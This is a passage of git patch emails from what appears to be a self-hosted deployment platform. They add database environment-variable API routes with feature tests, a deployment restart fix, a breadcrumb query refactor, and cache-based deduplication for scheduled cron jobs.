b/routes/api.php @@ -154,6 +154,12 @@ Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']); Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']); + Route::get('/databases/{uuid}/envs', [DatabasesController::class, 'envs'])->middleware(['api.ability:read']); + Route::post('/databases/{uuid}/envs', [DatabasesController::class, 'create_env'])->middleware(['api.ability:write']); + Route::patch('/databases/{uuid}/envs/bulk', [DatabasesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']); + Route::patch('/databases/{uuid}/envs', [DatabasesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/envs/{env_uuid}', [DatabasesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']); diff --git a/tests/Feature/DatabaseEnvironmentVariableApiTest.php b/tests/Feature/DatabaseEnvironmentVariableApiTest.php new file mode 100644 index 000000000..f3297cf17 --- /dev/null +++ b/tests/Feature/DatabaseEnvironmentVariableApiTest.php @@ -0,0 +1,346 @@ + 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function createDatabase($context): StandalonePostgresql +{ + return StandalonePostgresql::create([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $context->environment->id, + 'destination_id' => $context->destination->id, + 'destination_type' => $context->destination->getMorphClass(), + ]); +} + +describe('GET /api/v1/databases/{uuid}/envs', function () { + test('lists environment variables for a database', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'CUSTOM_VAR', + 'value' => 'custom_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson("/api/v1/databases/{$database->uuid}/envs"); + + $response->assertStatus(200); + $response->assertJsonFragment(['key' => 'CUSTOM_VAR']); + }); + + test('returns empty array when no environment variables exist', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson("/api/v1/databases/{$database->uuid}/envs"); + + $response->assertStatus(200); + $response->assertJson([]); + }); + + test('returns 404 for non-existent database', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/databases/non-existent-uuid/envs'); + + $response->assertStatus(404); + }); +}); + +describe('POST /api/v1/databases/{uuid}/envs', function () { + test('creates an environment variable', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'NEW_VAR', + 'value' => 'new_value', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'NEW_VAR') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + expect($env)->not->toBeNull(); + expect($env->value)->toBe('new_value'); + }); + + test('creates an environment variable with comment', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'COMMENTED_VAR', + 'value' => 'some_value', + 'comment' => 'This is a test comment', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'COMMENTED_VAR') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->comment)->toBe('This is a test comment'); + }); + + test('returns 409 when environment variable already exists', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'EXISTING_VAR', + 'value' => 'existing_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'EXISTING_VAR', + 'value' => 'new_value', + ]); + + $response->assertStatus(409); + }); + + test('returns 422 when key is missing', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'value' => 'some_value', + ]); + + $response->assertStatus(422); + }); +}); + +describe('PATCH /api/v1/databases/{uuid}/envs', function () { + test('updates an environment variable', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'UPDATE_ME', + 'value' => 'old_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'UPDATE_ME', + 'value' => 'new_value', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'UPDATE_ME') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->value)->toBe('new_value'); + }); + + test('returns 404 when environment variable does not exist', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'NONEXISTENT', + 'value' => 'value', + ]); + + $response->assertStatus(404); + }); +}); + +describe('PATCH /api/v1/databases/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'DB_HOST', + 'value' => 'localhost', + 'comment' => 'Database host', + ], + [ + 'key' => 'DB_PORT', + 'value' => '5432', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'DB_HOST') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + expect($envWithComment->comment)->toBe('Database host'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('updates existing environment variables via bulk', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'BULK_VAR', + 'value' => 'old_value', + 'comment' => 'Old comment', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'BULK_VAR', + 'value' => 'new_value', + 'comment' => 'Updated comment', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'BULK_VAR') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->value)->toBe('new_value'); + expect($env->comment)->toBe('Updated comment'); + }); + + test('rejects comment exceeding 256 characters', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); + + test('returns 400 when data is missing', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", []); + + $response->assertStatus(400); + }); +}); + +describe('DELETE /api/v1/databases/{uuid}/envs/{env_uuid}', function () { + test('deletes an environment variable', function () { + $database = createDatabase($this); + + $env = EnvironmentVariable::create([ + 'key' => 'DELETE_ME', + 'value' => 'to_delete', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->deleteJson("/api/v1/databases/{$database->uuid}/envs/{$env->uuid}"); + + $response->assertStatus(200); + $response->assertJson(['message' => 'Environment variable deleted.']); + + expect(EnvironmentVariable::where('uuid', $env->uuid)->first())->toBeNull(); + }); + + test('returns 404 for non-existent environment variable', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->deleteJson("/api/v1/databases/{$database->uuid}/envs/non-existent-uuid"); + + $response->assertStatus(404); + }); +}); From 65ed407ec82389408fb4f4b210c38eb9f08890fe Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 23:42:11 +0100 Subject: [PATCH 27/49] fix(deployment): disable build server during restart operations MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The just_restart() method doesn't need the build server—disabling it ensures the helper container is created on the deployment server with the correct network configuration and flags. The build server setting is restored before should_skip_build() is called in case it triggers a full rebuild that requires it. --- app/Jobs/ApplicationDeploymentJob.php | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 7adb938c5..7075fd8a3 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -1103,10 +1103,21 @@ private function generate_image_names() private function just_restart() { $this->application_deployment_queue->addLogEntry("Restarting {$this->customRepository}:{$this->application->git_branch} on {$this->server->name}."); + + // Restart doesn't need the build server — disable it so the helper container + // is created on the deployment server with the correct network/flags. + $originalUseBuildServer = $this->use_build_server; + $this->use_build_server = false; + $this->prepare_builder_image(); $this->check_git_if_build_needed(); $this->generate_image_names(); $this->check_image_locally_or_remotely(); + + // Restore before should_skip_build() — it may re-enter decide_what_to_do() + // for a full rebuild which needs the build server. + $this->use_build_server = $originalUseBuildServer; + $this->should_skip_build(); $this->completeDeployment(); } From e65ad22b42133b1941ffd75ecbbb9f19b6de972f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 00:02:18 +0100 Subject: [PATCH 28/49] refactor(breadcrumb): optimize queries and simplify state management - Add column selection to breadcrumb queries for better performance - Remove unused Alpine.js state (activeRes, activeMenuEnv, resPositions, menuPositions) - Simplify dropdown logic by removing duplicate state handling in index view - Change database relationship eager loading to use explicit column selection --- app/Livewire/Project/Resource/Index.php | 127 +++-- .../resources/breadcrumbs.blade.php | 531 ++---------------- .../livewire/project/resource/index.blade.php | 331 ++--------- 3 files changed, 167 insertions(+), 822 deletions(-) diff --git a/app/Livewire/Project/Resource/Index.php b/app/Livewire/Project/Resource/Index.php index be6e3e98f..094b61b28 100644 --- a/app/Livewire/Project/Resource/Index.php +++ b/app/Livewire/Project/Resource/Index.php @@ -13,33 +13,33 @@ class Index extends Component public Environment $environment; - public Collection $applications; - - public Collection $postgresqls; - - public Collection $redis; - - public Collection $mongodbs; - - public Collection $mysqls; - - public Collection $mariadbs; - - public Collection $keydbs; - - public Collection $dragonflies; - - public Collection $clickhouses; - - public Collection $services; - public Collection $allProjects; public Collection $allEnvironments; public array $parameters; - public function mount() + protected Collection $applications; + + protected Collection $postgresqls; + + protected Collection $redis; + + protected Collection $mongodbs; + + protected Collection $mysqls; + + protected Collection $mariadbs; + + protected Collection $keydbs; + + protected Collection $dragonflies; + + protected Collection $clickhouses; + + protected Collection $services; + + public function mount(): void { $this->applications = $this->postgresqls = $this->redis = $this->mongodbs = $this->mysqls = $this->mariadbs = $this->keydbs = $this->dragonflies = $this->clickhouses = $this->services = collect(); $this->parameters = get_route_parameters(); @@ -55,31 +55,23 @@ public function mount() $this->project = $project; - // Load projects and environments for breadcrumb navigation (avoids inline queries in view) + // Load projects and environments for breadcrumb navigation $this->allProjects = Project::ownedByCurrentTeamCached(); $this->allEnvironments = $project->environments() + ->select('id', 'uuid', 'name', 'project_id') ->with([ - 'applications.additional_servers', - 'applications.destination.server', - 'services', - 'services.destination.server', - 'postgresqls', - 'postgresqls.destination.server', - 'redis', - 'redis.destination.server', - 'mongodbs', - 'mongodbs.destination.server', - 'mysqls', - 'mysqls.destination.server', - 'mariadbs', - 'mariadbs.destination.server', - 'keydbs', - 'keydbs.destination.server', - 'dragonflies', - 'dragonflies.destination.server', - 'clickhouses', - 'clickhouses.destination.server', - ])->get(); + 'applications:id,uuid,name,environment_id', + 'services:id,uuid,name,environment_id', + 'postgresqls:id,uuid,name,environment_id', + 'redis:id,uuid,name,environment_id', + 'mongodbs:id,uuid,name,environment_id', + 'mysqls:id,uuid,name,environment_id', + 'mariadbs:id,uuid,name,environment_id', + 'keydbs:id,uuid,name,environment_id', + 'dragonflies:id,uuid,name,environment_id', + 'clickhouses:id,uuid,name,environment_id', + ]) + ->get(); $this->environment = $environment->loadCount([ 'applications', @@ -94,11 +86,9 @@ public function mount() 'services', ]); - // Eager load all relationships for applications including nested ones + // Eager load relationships for applications $this->applications = $this->environment->applications()->with([ 'tags', - 'additional_servers.settings', - 'additional_networks', 'destination.server.settings', 'settings', ])->get()->sortBy('name'); @@ -160,6 +150,49 @@ public function mount() public function render() { - return view('livewire.project.resource.index'); + return view('livewire.project.resource.index', [ + 'applications' => $this->applications, + 'postgresqls' => $this->postgresqls, + 'redis' => $this->redis, + 'mongodbs' => $this->mongodbs, + 'mysqls' => $this->mysqls, + 'mariadbs' => $this->mariadbs, + 'keydbs' => $this->keydbs, + 'dragonflies' => $this->dragonflies, + 'clickhouses' => $this->clickhouses, + 'services' => $this->services, + 'applicationsJs' => $this->toSearchableArray($this->applications), + 'postgresqlsJs' => $this->toSearchableArray($this->postgresqls), + 'redisJs' => $this->toSearchableArray($this->redis), + 'mongodbsJs' => $this->toSearchableArray($this->mongodbs), + 'mysqlsJs' => $this->toSearchableArray($this->mysqls), + 'mariadbsJs' => $this->toSearchableArray($this->mariadbs), + 'keydbsJs' => $this->toSearchableArray($this->keydbs), + 'dragonfliesJs' => $this->toSearchableArray($this->dragonflies), + 'clickhousesJs' => $this->toSearchableArray($this->clickhouses), + 'servicesJs' => $this->toSearchableArray($this->services), + ]); + } + + private function toSearchableArray(Collection $items): array + { + return $items->map(fn ($item) => [ + 'uuid' => $item->uuid, + 'name' => $item->name, + 'fqdn' => $item->fqdn ?? null, + 'description' => $item->description ?? null, + 'status' => $item->status ?? '', + 'server_status' => $item->server_status ?? null, + 'hrefLink' => $item->hrefLink ?? '', + 'destination' => [ + 'server' => [ + 'name' => $item->destination?->server?->name ?? 'Unknown', + ], + ], + 'tags' => $item->tags->map(fn ($tag) => [ + 'id' => $tag->id, + 'name' => $tag->name, + ])->values()->toArray(), + ])->values()->toArray(); } } diff --git a/resources/views/components/resources/breadcrumbs.blade.php b/resources/views/components/resources/breadcrumbs.blade.php index 135cad3a7..300a8d6e2 100644 --- a/resources/views/components/resources/breadcrumbs.blade.php +++ b/resources/views/components/resources/breadcrumbs.blade.php @@ -12,17 +12,18 @@ $projects = $projects ?? Project::ownedByCurrentTeamCached(); $environments = $environments ?? $resource->environment->project ->environments() + ->select('id', 'uuid', 'name', 'project_id') ->with([ - 'applications', - 'services', - 'postgresqls', - 'redis', - 'mongodbs', - 'mysqls', - 'mariadbs', - 'keydbs', - 'dragonflies', - 'clickhouses', + 'applications:id,uuid,name,environment_id', + 'services:id,uuid,name,environment_id', + 'postgresqls:id,uuid,name,environment_id', + 'redis:id,uuid,name,environment_id', + 'mongodbs:id,uuid,name,environment_id', + 'mysqls:id,uuid,name,environment_id', + 'mariadbs:id,uuid,name,environment_id', + 'keydbs:id,uuid,name,environment_id', + 'dragonflies:id,uuid,name,environment_id', + 'clickhouses:id,uuid,name,environment_id', ]) ->get(); $currentProjectUuid = data_get($resource, 'environment.project.uuid'); @@ -63,7 +64,7 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg -
  • +
  • + x-transition:leave-end="opacity-0 scale-95" + class="absolute z-20 top-full mt-1 left-0 sm:left-auto max-w-[calc(100vw-1rem)]" + x-init="$nextTick(() => { const rect = $el.getBoundingClientRect(); if (rect.right > window.innerWidth) { $el.style.left = 'auto'; $el.style.right = '0'; } })">
    @foreach ($environments as $environment) @php - // Use pre-loaded relations instead of databases() method to avoid N+1 queries $envDatabases = collect() ->merge($environment->postgresqls ?? collect()) ->merge($environment->redis ?? collect()) @@ -101,26 +103,17 @@ class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 bor ->merge($environment->dragonflies ?? collect()) ->merge($environment->clickhouses ?? collect()); $envResources = collect() - ->merge( - $environment->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $environment->services->map( - fn($svc) => ['type' => 'service', 'resource' => $svc], - ), - ); + ->merge($environment->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])) + ->sortBy(fn($item) => strtolower($item['resource']->name)); @endphp
    $environment->uuid, + 'project_uuid' => $currentProjectUuid, + ]) }}" {{ wireNavigate() }} class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200 {{ $environment->uuid === $currentEnvironmentUuid ? 'dark:text-warning font-semibold' : '' }}" title="{{ $environment->name }}"> {{ $environment->name }} @@ -150,31 +143,29 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover @foreach ($environments as $environment) @php + $envDatabases = collect() + ->merge($environment->postgresqls ?? collect()) + ->merge($environment->redis ?? collect()) + ->merge($environment->mongodbs ?? collect()) + ->merge($environment->mysqls ?? collect()) + ->merge($environment->mariadbs ?? collect()) + ->merge($environment->keydbs ?? collect()) + ->merge($environment->dragonflies ?? collect()) + ->merge($environment->clickhouses ?? collect()); $envResources = collect() - ->merge( - $environment->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $environment - ->databases() - ->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]), - ); + ->merge($environment->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])); @endphp @if ($envResources->count() > 0)
    - - - @foreach ($envResources as $envResource) - @php - $resType = $envResource['type']; - $res = $envResource['resource']; - $resParams = [ - 'project_uuid' => $currentProjectUuid, - 'environment_uuid' => $environment->uuid, - ]; - if ($resType === 'application') { - $resParams['application_uuid'] = $res->uuid; - } elseif ($resType === 'service') { - $resParams['service_uuid'] = $res->uuid; - } else { - $resParams['database_uuid'] = $res->uuid; - } - $resKey = $environment->uuid . '-' . $res->uuid; - @endphp -
    - -
    - @if ($resType === 'application') - - Deployments - Logs - @can('canAccessTerminal') - Terminal - @endcan - @elseif ($resType === 'service') - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @else - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @if ( - $res->getMorphClass() === 'App\Models\StandalonePostgresql' || - $res->getMorphClass() === 'App\Models\StandaloneMongodb' || - $res->getMorphClass() === 'App\Models\StandaloneMysql' || - $res->getMorphClass() === 'App\Models\StandaloneMariadb') - Backups - @endif - @endif -
    - - - -
    - @endforeach
    @endif @endforeach @@ -431,7 +210,6 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg $isApplication = $resourceType === 'App\Models\Application'; $isService = $resourceType === 'App\Models\Service'; $isDatabase = str_contains($resourceType, 'Database') || str_contains($resourceType, 'Standalone'); - // Use loaded relation count if available, otherwise check additional_servers_count attribute $hasMultipleServers = $isApplication && method_exists($resource, 'additional_servers') && ($resource->relationLoaded('additional_servers') ? $resource->additional_servers->count() > 0 : ($resource->additional_servers_count ?? 0) > 0); $serverName = $hasMultipleServers ? null : data_get($resource, 'destination.server.name'); @@ -447,221 +225,16 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg $routeParams['database_uuid'] = $resourceUuid; } @endphp -
  • -
    - - {{ data_get($resource, 'name') }}@if($serverName) ({{ $serverName }})@endif - - - - -
    - -
    - @if ($isApplication) - - - - Deployments - - - Logs - - @can('canAccessTerminal') - - Terminal - - @endcan - @elseif ($isService) - - - - Logs - - @can('canAccessTerminal') - - Terminal - - @endcan - @else - - - - Logs - - @can('canAccessTerminal') - - Terminal - - @endcan - @if ( - $resourceType === 'App\Models\StandalonePostgresql' || - $resourceType === 'App\Models\StandaloneMongodb' || - $resourceType === 'App\Models\StandaloneMysql' || - $resourceType === 'App\Models\StandaloneMariadb') - - Backups - - @endif - @endif -
    - - - -
    -
    +
  • + + {{ data_get($resource, 'name') }}@if($serverName) ({{ $serverName }})@endif +
  • diff --git a/resources/views/livewire/project/resource/index.blade.php b/resources/views/livewire/project/resource/index.blade.php index f18df5061..a38a04043 100644 --- a/resources/views/livewire/project/resource/index.blade.php +++ b/resources/views/livewire/project/resource/index.blade.php @@ -60,36 +60,13 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
    -
  • +
  • {{ $environment->name }} - -
    @foreach ($allEnvironments as $env) @php + $envDatabases = collect() + ->merge($env->postgresqls ?? collect()) + ->merge($env->redis ?? collect()) + ->merge($env->mongodbs ?? collect()) + ->merge($env->mysqls ?? collect()) + ->merge($env->mariadbs ?? collect()) + ->merge($env->keydbs ?? collect()) + ->merge($env->dragonflies ?? collect()) + ->merge($env->clickhouses ?? collect()); $envResources = collect() - ->merge( - $env->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $env - ->databases() - ->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $env->services->map( - fn($svc) => ['type' => 'service', 'resource' => $svc], - ), - ); + ->merge($env->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])) + ->sortBy(fn($item) => strtolower($item['resource']->name)); @endphp
    {{ $env->name }} @@ -153,7 +129,6 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover @foreach ($allEnvironments as $env) @php - // Use pre-loaded relations instead of databases() method to avoid N+1 queries $envDatabases = collect() ->merge($env->postgresqls ?? collect()) ->merge($env->redis ?? collect()) @@ -164,28 +139,19 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover ->merge($env->dragonflies ?? collect()) ->merge($env->clickhouses ?? collect()); $envResources = collect() - ->merge( - $env->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]), - ); + ->merge($env->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])); @endphp @if ($envResources->count() > 0)
    - - - @foreach ($envResources as $envResource) - @php - $resType = $envResource['type']; - $res = $envResource['resource']; - $resParams = [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $env->uuid, - ]; - if ($resType === 'application') { - $resParams['application_uuid'] = $res->uuid; - } elseif ($resType === 'service') { - $resParams['service_uuid'] = $res->uuid; - } else { - $resParams['database_uuid'] = $res->uuid; - } - $resKey = $env->uuid . '-' . $res->uuid; - @endphp -
    - -
    - @if ($resType === 'application') - - Deployments - Logs - @can('canAccessTerminal') - Terminal - @endcan - @elseif ($resType === 'service') - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @else - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @if ( - $res->getMorphClass() === 'App\Models\StandalonePostgresql' || - $res->getMorphClass() === 'App\Models\StandaloneMongodb' || - $res->getMorphClass() === 'App\Models\StandaloneMysql' || - $res->getMorphClass() === 'App\Models\StandaloneMariadb') - Backups - @endif - @endif -
    - - - -
    - @endforeach
    @endif @endforeach @@ -656,16 +395,16 @@ function sortFn(a, b) { function searchComponent() { return { search: '', - applications: @js($applications), - postgresqls: @js($postgresqls), - redis: @js($redis), - mongodbs: @js($mongodbs), - mysqls: @js($mysqls), - mariadbs: @js($mariadbs), - keydbs: @js($keydbs), - dragonflies: @js($dragonflies), - clickhouses: @js($clickhouses), - services: @js($services), + applications: @js($applicationsJs), + postgresqls: @js($postgresqlsJs), + redis: @js($redisJs), + mongodbs: @js($mongodbsJs), + mysqls: @js($mysqlsJs), + mariadbs: @js($mariadbsJs), + keydbs: @js($keydbsJs), + dragonflies: @js($dragonfliesJs), + clickhouses: @js($clickhousesJs), + services: @js($servicesJs), filterAndSort(items) { if (this.search === '') { return Object.values(items).sort(sortFn); From 6aa618e57fe031b5b0b5834e6b711f94cf2d54d7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 15:44:10 +0100 Subject: [PATCH 29/49] feat(jobs): add cache-based deduplication for delayed cron execution Implements getPreviousRunDate() + cache-based tracking in shouldRunNow() to prevent duplicate dispatch of scheduled jobs when queue delays push execution past the cron minute. This resilience ensures jobs catch missed windows without double-dispatching within the same cron window. Updated scheduled job dispatches to include dedupKey parameter: - Docker cleanup operations - Server connection checks - Sentinel restart checks - Server storage checks - Server patch checks DockerCleanupJob now dispatches on the 'high' queue for faster processing. Includes comprehensive test coverage for dedup behavior across different cron schedules and delay scenarios. --- app/Jobs/DockerCleanupJob.php | 4 +- app/Jobs/ScheduledJobManager.php | 4 +- app/Jobs/ServerManagerJob.php | 45 ++++++-- .../ScheduledJobManagerShouldRunNowTest.php | 49 +++++++++ .../ServerManagerJobShouldRunNowTest.php | 102 ++++++++++++++++++ 5 files changed, 194 insertions(+), 10 deletions(-) create mode 100644 tests/Feature/ServerManagerJobShouldRunNowTest.php diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php index 78ef7f3a2..a8a3cb159 100644 --- a/app/Jobs/DockerCleanupJob.php +++ b/app/Jobs/DockerCleanupJob.php @@ -39,7 +39,9 @@ public function __construct( public bool $manualCleanup = false, public bool $deleteUnusedVolumes = false, public bool $deleteUnusedNetworks = false - ) {} + ) { + $this->onQueue('high'); + } public function handle(): void { diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php index e68e3b613..ebcd229ed 100644 --- a/app/Jobs/ScheduledJobManager.php +++ b/app/Jobs/ScheduledJobManager.php @@ -350,7 +350,7 @@ private function shouldRunNow(string $frequency, string $timezone, ?string $dedu $baseTime = $this->executionTime ?? Carbon::now(); $executionTime = $baseTime->copy()->setTimezone($timezone); - // No dedup key → simple isDue check (used by docker cleanups) + // No dedup key → simple isDue check if ($dedupKey === null) { return $cron->isDue($executionTime); } @@ -411,7 +411,7 @@ private function processDockerCleanups(): void } // Use the frozen execution time for consistent evaluation - if ($this->shouldRunNow($frequency, $serverTimezone)) { + if ($this->shouldRunNow($frequency, $serverTimezone, "docker-cleanup:{$server->id}")) { DockerCleanupJob::dispatch( $server, false, diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php index 730ce547d..d56ff0a8c 100644 --- a/app/Jobs/ServerManagerJob.php +++ b/app/Jobs/ServerManagerJob.php @@ -14,6 +14,7 @@ use Illuminate\Queue\SerializesModels; use Illuminate\Support\Carbon; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Log; class ServerManagerJob implements ShouldBeEncrypted, ShouldQueue @@ -80,7 +81,7 @@ private function getServers(): Collection private function dispatchConnectionChecks(Collection $servers): void { - if ($this->shouldRunNow($this->checkFrequency)) { + if ($this->shouldRunNow($this->checkFrequency, dedupKey: 'server-connection-checks')) { $servers->each(function (Server $server) { try { // Skip 